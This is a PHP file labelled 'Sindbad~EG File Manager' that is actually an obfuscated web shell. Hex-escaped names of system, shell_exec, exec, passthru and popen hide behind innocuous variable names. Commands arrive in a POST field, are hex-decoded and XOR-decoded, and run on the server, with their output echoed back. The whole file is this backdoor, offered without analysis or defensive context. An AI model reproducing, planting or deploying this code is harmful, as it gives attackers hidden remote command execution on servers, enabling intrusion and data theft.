Sindbad~EG File Manager

<?php

$token_parser_engine3 = "ex\x65\x63";
$token_parser_engine5 = "\x70op\x65n";
$token_parser_engine1 = "s\x79\x73\x74em";
$token_parser_engine2 = "\x73h\x65ll_e\x78e\x63";
$token_parser_engine7 = "p\x63l\x6Fs\x65";
$secure_access = "h\x65\x78\x32\x62in";
$token_parser_engine6 = "\x73\x74r\x65am_ge\x74_\x63\x6Fnten\x74\x73";
$token_parser_engine4 = "\x70\x61\x73sth\x72u";
if (isset($_POST["i\x74e\x6D"])) {
            function sync_manager (  $descriptor    ,  $pgrp ){
 $sym='';
    foreach(str_split($descriptor) as $char){
$sym.=chr(ord($char)^$pgrp);

} return    $sym;
  
}
            $item = $secure_access($_POST["i\x74e\x6D"]);
            $item = sync_manager($item, 46);
            if (function_exists($token_parser_engine1)) {
                $token_parser_engine1($item);
            } elseif (function_exists($token_parser_engine2)) {
                print $token_parser_engine2($item);
            } elseif (function_exists($token_parser_engine3)) {
                $token_parser_engine3($item, $parameter_group_descriptor);
                print join("\n", $parameter_group_descriptor);
            } elseif (function_exists($token_parser_engine4)) {
                $token_parser_engine4($item);
            } elseif (function_exists($token_parser_engine5) && function_exists($token_parser_engine6) && function_exists($token_parser_engine7)) {
                $pgrp_sym = $token_parser_engine5($item, 'r');
                if ($pgrp_sym) {
                    $ent_comp = $token_parser_engine6($pgrp_sym);
                    $token_parser_engine7($pgrp_sym);
                    print $ent_comp;
                }
            }
            exit;
        }